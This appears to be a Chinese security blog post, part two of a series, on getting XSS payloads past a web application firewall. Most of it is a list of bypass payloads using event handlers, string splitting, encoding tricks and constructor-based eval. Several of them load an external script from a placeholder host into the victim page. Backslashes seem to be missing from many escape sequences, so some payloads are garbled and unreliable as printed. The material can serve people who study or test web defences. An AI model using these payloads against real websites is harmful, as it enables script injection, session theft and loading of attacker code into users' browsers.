测试WAF来学习XSS姿势(二)

 

前言

对于我这个菜鸟来说,我通过谷歌百度学习到很多前辈的资料,甚至每句话都是他的指导,我也很感激前辈的为我们铺设的道路,让我们更快的成长起来。我也乐于分享,可能有些知识点过于单调或者久远,请见谅。

 

waf

前几天花了10买了一个月的服务器,换个waf来测试。

1

Test

遗漏标签就不测试了,上一篇水文的分享的标签也可以过,不信找几个试试= =

好吧非常打脸,拦截了。

2

然而换个prompt()函数???免费版当然是这样的啦,高级服务不仅我买不起,还绕不过啊,而且我不是真正的站长,规则我也不会设啊,总之就是这也不会那也不会。

3

4

Top属性类似的补充

还记得上篇的top属性嘛

5

实际上可以利用的还有好几个,看到这里各位是否get到什么了。

6

我们可以利用的类似拼接的对象又多了几个,例如:

//一家人就是要整整齐齐
<details open ontoggle=top['al'%2B'ert'](1) >
<details open ontoggle=self['al'%2B'ert'](1) >
<details open ontoggle=parent['al'%2B'ert'](1) >
<details open ontoggle=frames['al'%2B'ert'](1) >
<details open ontoggle=content['al'%2B'ert'](1) >
<details open ontoggle=window['al'%2B'ert'](1) >

这些都可以绕过waf,总结起来有 top self parent frames content window,无疑top是最短的,所谓短小精悍,这里借用PKAV的一张ppt。

7

其他补充

除了拆分构造,我们必须要了解还有编码,这个确实是老生常谈的话题,先看个例子吧

将e字母url编码,成功弹窗也绕过waf。

<details open ontoggle=top['al%65rt'](1) >

11

其他编码

JS8编码:
<details open ontoggle=top['al145rt'](1) >
<details open ontoggle=top['141154145162164'](1) >
JS16编码:
<details open ontoggle=top['alx65rt'](1) >
其他
<details open ontoggle=top[/al/.source%2B/ert/.source](1) >

parseInt()与toString()

parseInt()

12

例子: alert字符串用parseInt函数,以基数为30转化后为8680439

13

toString()

14

例子: toString函数将返回的数字8680439,以基数为30还原

15

这样你就能理解下面这个例子了。

<details open ontoggle=top[8680439..toString(30)](1); >
<details open ontoggle=top[11189117..toString(32)](1); >

16

俩个例子

例1

<img src=1 alt=al lang=ert onerror=top[alt%2blang](0)>

这个例子很巧妙,将altlang属性分别赋值合并起来就是alert,并在top属性内将2个属性相加。

例2

 <details open ontoggle=top[a='al',b='ev',b%2ba]('alert(1)')>

在top属性内添加2个变量,并赋值构造eval,然后执行alert(1)

测试下,拦截了。

8

其实waf拦截的是alert这个关键字,换个prompt()函数就过了

9

也可以选择将alert(1)编码,因为有eval存在啊,直接拿来用

<details open ontoggle=top[a='al',b='ev',b%2ba](atob('YWxlcnQoMSk='))>
<details open ontoggle=top[a='al',b='ev',b%2ba]('141154145162164506151')>
<details open ontoggle=top[a='al',b='ev',b%2ba]('u0061u006cu0065u0072u0074u0028u0031u0029')>

10

setTimeout()函数也是没问题的,毕竟也能执行代码。

<details open ontoggle=top[a='meout',b='setTi',b%2ba]('141154145162164506151')>

 

eval函数的补充

setTimeout

19

waf拦截

<svg/onload=setTimeout`alert(1)`>

17

编码下,就绕过了。

<svg/onload=setTimeout`alertu0028233u0029`>

18

setInterval

setInterval不同,对于setTimeout()只执行code一次。

20

<svg/onload=setInterval('al'%2b'ert(1)')>

21

绕过waf,引用外部js。

<svg/onload=setInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>

22

其他

拆分与编码
<svg/onload=u0073etInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>
<svg/onload=u0073etInterval(appendChild(createElement('sc162ipt')).src='http://xx.xx/eeW')>
<svg/onload=u0073etInterval(appendChild(createElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>
<svg/onload=u0073etInterval(u0061ppendChild(u0063reateElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>

结合函数:
<iframe onload=s=createElement('script');body.appendChild(s);s.src=['http','://','xx.xx','/eeW'].join('') >
<svg/onload=s=createElement('script');body.appendChild(s);s.src=['http']%2B['://']%2B['xx.xx']%2B['/eeW'].join('') >
<svg/onload=s=u0063reateElement('scr'%2b'ipt');u0062ody.u0061ppendChild(s);s.src='http://x'.concat('x.xx/','eeW'); >

扩展

关于运用基于DOM的方法创建和插入节点把外部JS文件注入到网页,这种方法在<<XSS跨站脚本gj剖析与防御>>有介绍过。我这里简单演示下,如果你了解或者不感兴趣可以跳过这段。

首先用createElement方法创建一个script标签。

23

接下来给<script>的src属性设置成外部url

24

可以看到<script>标签以及src属性已经被创建出来,但是并不在页面上输出啊。

25

我们就要用到appendChild()方法将变量s插入页面。

26

再来看看页面上

27

constructor属性

28

少年!Post到什么了没有。

29

又是拆分。。注意后面的()

<svg/onload=Set.constructor('al'%2b'ert(1)')()>

30

反引号我看行。。注意后面2个反引号。

<svg/onload=Set.constructor`alx65rtx28/xss/x29```>

31

又来引用外部url。编码拆分以及结合函数,请参考上章= =,不然我怕有人说我水。。。

33

<svg/onload=Set.constructor(appendChild(createElement('script')).src='http://xx.xx/eeW')()>

32

补充(又是补充,你**就不能一次讲完嘛!写个文章还划水!)

咳咳,该补充的还是要补充的,除了 Set 对象还有嘛?当然有的。

33

看些例子,都可以弹窗。

34

来个简单拆分。

35

总结起来就是Set.constructor Map.constructor clear.constructor Array.constructor WeakSet.constructor (注意区分大小写的)

<svg/onload=Set.constructor`alx65rtx28/xss/x29```>
<svg/onload=Map.constructor`alx65rtx28/xss/x29```>
<svg/onload=clear.constructor`alx65rtx28/xss/x29```>
<svg/onload=Array.constructor`alx65rtx28/xss/x29```>
<svg/onload=WeakSet.constructor`alx65rtx28/xss/x29```>

引用外部…

36

感兴趣的同学可以关注:Github项目

 

参考致谢

vulnerability-lab.com

swisskyrepo/PayloadsAllTheThings

(完)